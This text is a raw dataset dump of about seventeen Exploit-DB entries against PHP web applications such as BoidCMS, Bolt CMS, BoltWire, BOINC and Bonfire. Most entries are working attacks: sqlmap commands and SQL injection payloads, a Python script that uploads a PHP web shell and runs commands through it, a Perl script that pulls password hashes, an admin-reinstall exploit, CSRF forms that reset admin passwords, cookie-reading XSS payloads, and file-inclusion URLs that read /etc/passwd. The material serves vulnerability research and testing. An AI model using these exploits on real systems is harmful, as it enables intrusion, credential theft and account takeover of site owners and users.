deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52052
Description: Boelter Blue System Management 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2024-06-14
Author: CBKB

Exploit:
# Exploit Title: SQL Injection Vulnerability in Boelter Blue System Management (version 1.3)
# Google Dork: inurl:"Powered by Boelter Blue"
# Date: 2024-06-04
# Exploit Author: CBKB (DeadlyData, R4d1x)
# Vendor Homepage: https://www.boelterblue.com
# Software Link: https://play.google.com/store/apps/details?id=com.anchor5digital.anchor5adminapp&hl=en_US
# Version: 1.3
# Tested on: Linux Debian 9 (stretch), Apache 2.4.25, MySQL >= 5.0.12
# CVE: CVE-2024-36840

## Vulnerability Details:

### Description:
Multiple SQL Injection vulnerabilities were discovered in Boelter Blue System Management (version 1.3). These vulnerabilities allow attackers to execute arbitrary SQL commands through the affected parameters. Successful exploitation can lead to unauthorized access, data leakage, and account takeovers.

Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=10071 AND 4036=4036

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=10071 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)

Type: UNION query
Title: Generic UNION query (NULL) - 44 columns
Payload: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b[PII_REDACTED]4968656d6e414e4678595a666f77447a[PII_REDACTED]6751524f5941496b55,0x7162626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

1. **news_details.php?id** parameter:
sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs

2. **services.php?section** parameter:
sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbs

3. **location_details.php?id** parameter:
sqlmap -u "https://www.example.com/location_details.php?id=836" --random-agent --dbms=mysql --dbs

Impact:
Unauthorized access to the database.
Extraction of sensitive information such as admin credentials, user email/passhash, device hashes, user PII, purchase history, and database credentials.
Account takeovers and potential full control of the affected application.

Discoverer(s)/Credits:
CBKB (DeadlyData, R4d1x)

References:
https://infosec-db.github.io/CyberDepot/vuln_boelter_blue/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36840
Exploit-DB #51741
Description: BoidCMS v2.0.0 - authenticated file upload vulnerability
Type: webapps
Platform: php
Date: 2023-10-09
Author: 1337kid

Exploit:
#!/usr/bin/python3
# Exploit Title: BoidCMS v2.0.0 - authenticated file upload vulnerability
# Date: 08/21/2023
# Exploit Author: 1337kid
# Vendor Homepage: https://boidcms.github.io/#/
# Software Link: https://boidcms.github.io/BoidCMS.zip
# Version: <= 2.0.0
# Tested on: Ubuntu
# CVE : CVE-2023-38836

import requests
import re
import argparse

parser = argparse.ArgumentParser(description='Exploit for CVE-2023-38836')
parser.add_argument("-u", "--url", help="website url")
parser.add_argument("-l", "--user", help="admin username")
parser.add_argument("-p", "--passwd", help="admin password")
args = parser.parse_args()
base_url=args.url
user=args.user
passwd=args.passwd

def showhelp():
	print(parser.print_help())
	exit()
if base_url == None: showhelp()
elif user == None: showhelp()
elif passwd == None: showhelp()

with requests.Session() as s:
	req=s.get(f'{base_url}/admin')
	token=re.findall('[a-z0-9]{64}',req.text)
	form_login_data={
		"username":user,
		"password":passwd,
		"login":"Login",
	}
	form_login_data['token']=token
	s.post(f'{base_url}/admin',data=form_login_data)
	#=========== File upload to RCE
	req=s.get(f'{base_url}/admin?page=media')
	token=re.findall('[a-z0-9]{64}',req.text)
	form_upld_data={
		"token":token,
		"upload":"Upload"
	}
	#==== php shell
	php_code=['GIF89a;\n','<?php system($_GET["cmd"]) ?>']
	with open('shell.php','w') as f:
		f.writelines(php_code)
	#====
	file = {'file' : open('shell.php','rb')}
	s.post(f'{base_url}/admin?page=media',files=file,data=form_upld_data)
	req=s.get(f'{base_url}/media/shell.php')
	if req.status_code == '404':
		print("Upload failed")
		exit()
	print(f'Shell uploaded to "{base_url}/media/shell.php"')
	while 1:
		cmd=input("cmd >> ")
		if cmd=='exit': exit()
		req=s.get(f'{base_url}/media/shell.php',params = {"cmd": cmd})
		print(req.text)
Exploit-DB #30575
Description: BOINC 5.10.20 - 'forum_forum.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-12
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/25644/info

BOINC (Berkeley Open Infrastructure for Network Computing) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affects BOINC 5.10.20; other versions may also be affected. 

http://www.example.com/forum_forum.php?id=[XSS]
Exploit-DB #30576
Description: BOINC 5.10.20 - 'text_search_action.php?search_string' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-09-12
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/25644/info
 
BOINC (Berkeley Open Infrastructure for Network Computing) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affects BOINC 5.10.20; other versions may also be affected. 

http://www.example.com/forum_text_search_action.php?search_string=[XSS]&titles=Search
http://www.example.com/forum_text_search_action.php?search_string=[XSS]&bodies=Search
Exploit-DB #2153
Description: Boite de News 4.0.1 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-09
Author: the master

Exploit:
########################################################################
#  Boite de News v4.0.1  Remote File Inclusion Vulnerability
#
#  Download: ftp://ftp1.comscripts.com/PHP/1801_boiteden-401.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/boitenews4/index.php?url_index=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-09]
Exploit-DB #34351
Description: BOLDfx eUploader 3.1.1 - 'admin.php' Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-16
Author: Milos Zivanovic

Exploit:
source: https://www.securityfocus.com/bid/41783/info

BOLDfx eUploader is prone to multiple remote vulnerabilities, including a cross-site request-forgery vulnerability, a security-bypass vulnerability, and an HTML-injection vulnerability.

Attacker-supplied HTML and script code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user. A remote attacker may also be able to perform certain administrative actions without proper authentication; other attacks are also possible.

eUploader PRO 3.1.1 is vulnerable; other versions may also be affected.

<form action="http://www.example.com/admin.php?page=user&id=[ID]" method="post"> <input type="hidden" name="id" value="[ID]"> <input type="hidden" name="admin_access" value="2"> <input type="hidden" name="email" value="my@email.com"> <input type="hidden" name="pass" value="hacked"> <input type="hidden" name="pass2" value="hacked"> <input type="submit" name="edit" value="Submit"> </form>
Exploit-DB #34352
Description: BOLDfx Recipe Script 5.0 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-16
Author: Milos Zivanovic

Exploit:
source: https://www.securityfocus.com/bid/41787/info

BOLDfx Recipe Script is prone to multiple remote vulnerabilities, including multiple cross-site request-forgery vulnerabilities, an arbitrary file upload vulnerability, multiple HTML-injection vulnerabilities and multiple cross-site scripting vulnerabilities.

Attacker-supplied HTML and script code could run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user. A remote attacker may also be able to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Recipe Script 5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/recipes/admin/recipes.php?searchword="[XSS]
http://www.example.com/recipes/admin/recipes.php?numitem="[XSS]
http://www.example.com/recipes/admin/categories.php?searchword="[XSS]
http://www.example.com/recipes/admin/categories.php?numitem="[XSS]
http://www.example.com/recipes/admin/all_comments.php?searchword="[XSS]
http://www.example.com/recipes/admin/all_comments.php?numitem="[XSS]
http://www.example.com/recipes/admin/users.php?searchword="[XSS]
http://www.example.com/recipes/admin/users.php?numitem="[XSS]
http://www.example.com/recipes/admin/comments.php?searchword="[XSS]
http://www.example.com/recipes/admin/comments.php?numitem="[XSS]
http://www.example.com/recipes/admin/menus.php?numitem="[XSS]
http://www.example.com/recipes/admin/links.php?searchword="[XSS]
http://www.example.com/recipes/admin/links.php?numitem="[XSS]
http://www.example.com/recipes/admin/banners.php?searchword="[XSS]
http://www.example.com/recipes/admin/banners.php?numitem="[XSS]


<form action="http://www.example.com/recipes/update_profile.php" method="POST"> <input name="first_name" type="text" value="DEMO"> <input name="last_name" type="text" value="USER"> <input name="website" type="text" value="website.com"> <input name="country" type="text" value="Moon State"> <input name="email" type="text" value="our@email.com"> <input type="checkbox" name="subscribed" value="1"> <input type="submit" name="Submit" value="Update"> </form> <form action="http://www.example.com/recipes/admin/adminpass.php" method="POST"> <input type="password" name="AdminPass" value="hacked"> <input type="password" name="cAdminPass" value="hacked"> <input type="submit" name="submit" value="Update Password"> </form> <form action="http://www.example.com/recipes/admin/send_email_users.php" method="POST"> <input type="hidden" name="from_email" value="support@site.com"> <input type="hidden" name="subject" value="Subject"> <input type="hidden" name="message" value="Free your mind and the ass will follow!"> <input type="hidden" name="emailtype" value=""> <input type="submit" name="Submit" value="Send"> </form>
Exploit-DB #2372
Description: BolinOS 4.5.5 - 'gBRootPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-15
Author: Mehmet Ince

Exploit:
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+BolinOS v.4.5.5 <= (gBRootPath) Remote File Include Vulnerability
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Author: xoron (turkish hacker)
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Class : Remote
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Vuln Code: include ($GLOBALS["gBRootPath"].$GLOBALS["gBSysPath"]."/system/_b/contentFiles/gBLib.php");
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+
+Exploit: http://www.site.com/[script path]/system/_b/contentFiles/gBIndex.php?gBRootPath=evil_scripts?
+
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=
+ Thanx : str0ke, Ironfist, Preddy, SHiKaA, mdx, gültekin, R3D4C!D, DaRK, insomnia, mirim, Dreamlord,
=-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2006-09-15]
Exploit-DB #46495
Description: Bolt CMS 3.6.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-03-04
Author: Ismail Tasdelen

Exploit:
# Exploit Title: Bolt CMS - 3.6.4 - Cross-Site Scripting
# Date: 2019-03-04
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://bolt.cm/
# Software Link : https://github.com/bolt/bolt
# Software : Bolt CMS - v 3.6.4
# Version : v 3.6.4
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : CVE-2019-9553

# The XSS vulnerability has been discovered in the Bolt CMS web application software due to its vulnerability in the source code in version 3.6.4.
 
# HTTP POST Request :
 
POST /bolt/editcontent/pages HTTP/1.1
Host: bolt-up3x24.bolt.dockerfly.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://bolt-up3x24.bolt.dockerfly.com/bolt/editcontent/pages
Content-Type: application/x-www-form-urlencoded
Content-Length: 562
DNT: 1
Connection: close
Cookie: bolt_session_5c201ab91521b607e364bc74271e51f1=3d540aa1d0a0fc38dde995dc6ba8a32e; bolt_authtoken_5c201ab91521b607e364bc74271e51f1=240049afe75abc53fbe51e75103ed138261da69b180ff241b7e815027c39f6fb
Upgrade-Insecure-Requests: 1

content_edit%5B_token%5D=u1EA_Zhor_EwrIyqIt-PLLK02DccGgZDDWFQm1325_8&editreferrer=&contenttype=pages&title=%22%3E%3Cscript%3Ealert%28%22ismailtasdelen%22%29%3C%2Fscript%3E&slug=script-alert-ismailtasdelen-script&image%5Bfile%5D=2019-03%2Fimg-src-x-onerror-prompt-1-.png&files%5B%5D=&teaser=%3Cp%3EBolt+3.6.4+CMS%3C%2Fp%3E%0D%0A&body=%3Cp%3EBolt+3.6.4+CMS%3C%2Fp%3E%0D%0A&template=&taxonomy%5Bgroups%5D%5B%5D=&taxonomy-order%5Bgroups%5D=0&id=&status=draft&datepublish=2019-03-04+08%3A24%3A47&datedepublish=&ownerid=1&_live-editor-preview=&content_edit%5Bsave%5D=1
Exploit-DB #46014
Description: Bolt CMS < 3.6.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-12-19
Author: Raif Berkay Dincel

Exploit:
# Exploit Title: Bolt CMS <3.6.2 - Cross-Site Scripting
# Google Dork: N/A
# Date: 2018-12-18
# Exploit Author: Raif Berkay Dincel [ author=9567 ]
# Contact: www.raifberkaydincel.com
# Vendor Homepage: bolt.cm 
# Vulnerable Software --> [ https://github.com/rdincel1/Bolt-CMS-3.6.2---Cross-Site-Scripting/raw/master/bolt-v3.6.2.zip ]
# Affected Version: [ < 3.6.2 ]
# CVE-ID: CVE-2018-19933
# Tested on: Parrot Security OS / Linux Mint / Windows 10

# Vulnerable Parameter Type: POST 
# Vulnerable Parameter: http://127.0.0.1:8000/preview/page
# Attack Pattern: <script>alert("Raif")</script> 

# Description

Bolt CMS <3.6.2 allows XSS via text input click preview button as demonstrated by the Title field of a Configured and New Entry.

# PoC [Video]: https://youtu.be/3eTPyIpjCJg
 
# Proof of Concepts:
 
POST /preview/page HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8000/bolt/editcontent/pages
Content-Type: application/x-www-form-urlencoded
Content-Length: 396
Connection: close
Cookie: bolt_session_cf7976ea5999f8e272ce7cd50c84d240=14b61865131cf9422af970ae28a097b7; bolt_authtoken_cf7976ea5999f8e272ce7cd50c84d240=0b69633d5a549f19bf3faa88462b7b8e17ba57ba9dff6d25a708efe6dd6a9a04
Upgrade-Insecure-Requests: 1

content_edit%5B_token%5D=jMmm41dJQXpXx3gwE_VQkA60fdsNo6DERJClPVkYh7U&editreferrer=&contenttype=pages&title=%3Cscript%3Ealert%28%22Raif%22%29%3C%2Fscript%3E&slug=script-alert-raif-script&image%5Bfile%5D=&files%5B%5D=&teaser=&body=&template=&taxonomy%5Bgroups%5D%5B%5D=&taxonomy-order%5Bgroups%5D=0&id=&status=draft&datepublish=2018-12-07+00%3A12%3A05&datedepublish=&ownerid=1&_live-editor-preview=
Exploit-DB #36552
Description: BoltWire 3.4.16 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-16
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/51422/info

BoltWire is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

BoltWire 3.4.16 is vulnerable; other versions may also be affected.

http://www.example.com/bolt/field/index.php?p=main&help=&#039;"</script><script>alert(document.cookie)</script>
http://www.example.com/bolt/field/index.php?"</a><script>alert(document.cookie)</script></
http://www.example.com/bolt/field/index.php?p=main&action=&#039;"</a><script>alert(document.cookie)</script></&file=file.jpg
Exploit-DB #48411
Description: BoltWire 6.03 - Local File Inclusion
Type: webapps
Platform: php
Date: 2020-05-04
Author: Andrey Stoykov

Exploit:
# Exploit Title: BoltWire 6.03 - Local File Inclusion
# Date: 2020-05-02
# Exploit Author: Andrey Stoykov
# Vendor Homepage: https://www.boltwire.com/
# Software Link: https://www.boltwire.com/downloads/go&v=6&r=03
# Version: 6.03
# Tested on: Ubuntu 20.04 LAMP


LFI:

Steps to Reproduce:

1) Using HTTP GET request browse to the following page, whilst being authenticated user.
http://192.168.51.169/boltwire/index.php?p=action.search&action=../../../../../../../etc/passwd

Result

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
[SNIPPED]
Exploit-DB #31531
Description: Bomba Haber 2.0 - 'haberoku.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-25
Author: cOndemned

Exploit:
source: https://www.securityfocus.com/bid/28435/info

Bomba Haber is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Bomba Haber 2.0 is vulnerable; other versions may also be affected. 

#!D:\Perl\Bin\Perl.exe

use LWP::UserAgent;

#
#   XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit
#   Coded by cOndemned 
#   Greetz : irk4z, GregStar, NoRuless, Tomu, Happy B'day Avantura ;*
#

print "\r\n[~] XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit";
print "\r\n[~] Coded by cOndemned [22.03.2008]\r\n";

if (@ARGV < 2) {
    print "[~] Usage : $0 <target_host> <pref>\r\n";    # default pref is xlp / xlportal
    exit();
}

$head = new LWP::UserAgent;
$head->agent("Opera/9.26 (Windows NT 5.1; U; pl)");

my $request = HTTP::Request->new(POST => $ARGV[0]."/index.php");


$buff = "%27+union+select+1%2Cconcat%28user%2C0x3a%2Cpassword%29+from+".$ARGV[1]."_users+%2F*";
$request->content_type('application/x-www-form-urlencoded');
$request->content("page=Szukaj&op=Wyszukaj&query=".$buff."&section_News=1&section_Download=1&s".
                  "ection_Links=1&section_Articles=1&exact=any&sort=alpha&=Rozpocznij+wyszukiw".
                  "anie");
$response = $head->request($request);

if (($response->content =~ /([a-zA-Z]+?):([0-9,a-f]{32})/)) {        
    print "[+] Login : $1\r\n";
    print "[+] Haslo : $2\r\n";
}
else {
    print "\r\n[~] This one isn't vulnerable, or bad data was given\r\n";
    exit();
}
Exploit-DB #32999
Description: Bonefire 0.7.1 - Reinstall Admin Account
Type: webapps
Platform: php
Date: 2014-04-24
Author: Mehmet Ince

Exploit:
#!/usr/bin/env python
# coding: utf-8
#
# Bonefire v.0.7.1 Reinstall Admin Account Exploit
#
# Author : Mehmet INCE
# 
# Analysis write-up : http://www.mehmetince.net/ci-bonefire-reinstall-admin-account-vulnerability-analysis-exploit/
#
# Description : 
# Forgotten controls lead to call install module which lead to
# create default administrator account again!
#
# TIMELINE
# 21 Apr 2014 14:00 –Vulnerability found
# 23 Apr 2014 21:20 – Analysis and write-up completed
# 23 Apr 2014 21:29 – First contact with lead developer of Bonfire
# 23 Apr 2014 21:33 – Response from lead developer
# 23 Apr 2014 21:52 – Vulnerability confirmed by lead developer
# 23 Apr 2014 21:55 – Vulnerability has been patched via following commit
# https://github.com/ci-bonfire/Bonfire/commit/9cb76c66babf89952c3d48279b026c59e198f46e

import urllib2
import sys
import re
target = sys.argv[1]
path = sys.argv[2]

if len(sys.argv) > 3:
     print "Usage : python bonfire www.target.com /path/"
     exit(0) 

content = urllib2.urlopen(target+path+"index.php/install/do_install").read()

if re.search('[admin@mybonefire.com]', content):
     print "Target is vulnerable!"
     print "Username : admin@mybonefire.com"
     print "[CREDENTIAL_REDACTED]"
else:
     print "Target is not vulnerable..."
Exploit-DB #36885
Description: Bontq - 'user/' URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-27
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/52183/info

Bontq is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/user/user/userinfo/id/2%27;alert%28String.fromCharCode%2888,83,83%29%29//%5C%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%5C%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

http://www.example.com/user/reports/%27;alert%28String.fromCharCode%2888,83,83%29%29//%5C%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%5C%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Exploit-DB #17709
Description: Bonza Digital Cart Script - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-22
Author: Eyup CELIK

Exploit:
# Exploit Title: Bonzo Cart (E-Commerce System) SQL Injection
# Date: 2011
# Author: Eyup CELIK
# Software Link: http://www.turnkeycentral.com
# Version: All Version
# Tested on: All versions are Vulnerability

ISSUE

SQL Injection can be done using the command input

Example
searchresults.php?ord1=<SQL Injection  
Code>&ord2=asc&search1=&SearchTerm=&where=ItemName

Exploit:
searchresults.php?ord1='1&ord2=asc&search1=&SearchTerm=&where=ItemName

Demo:
http://site.com/bonzacart/searchresults.php?ord1='1&ord2=asc&search1=&SearchTerm=&where=ItemName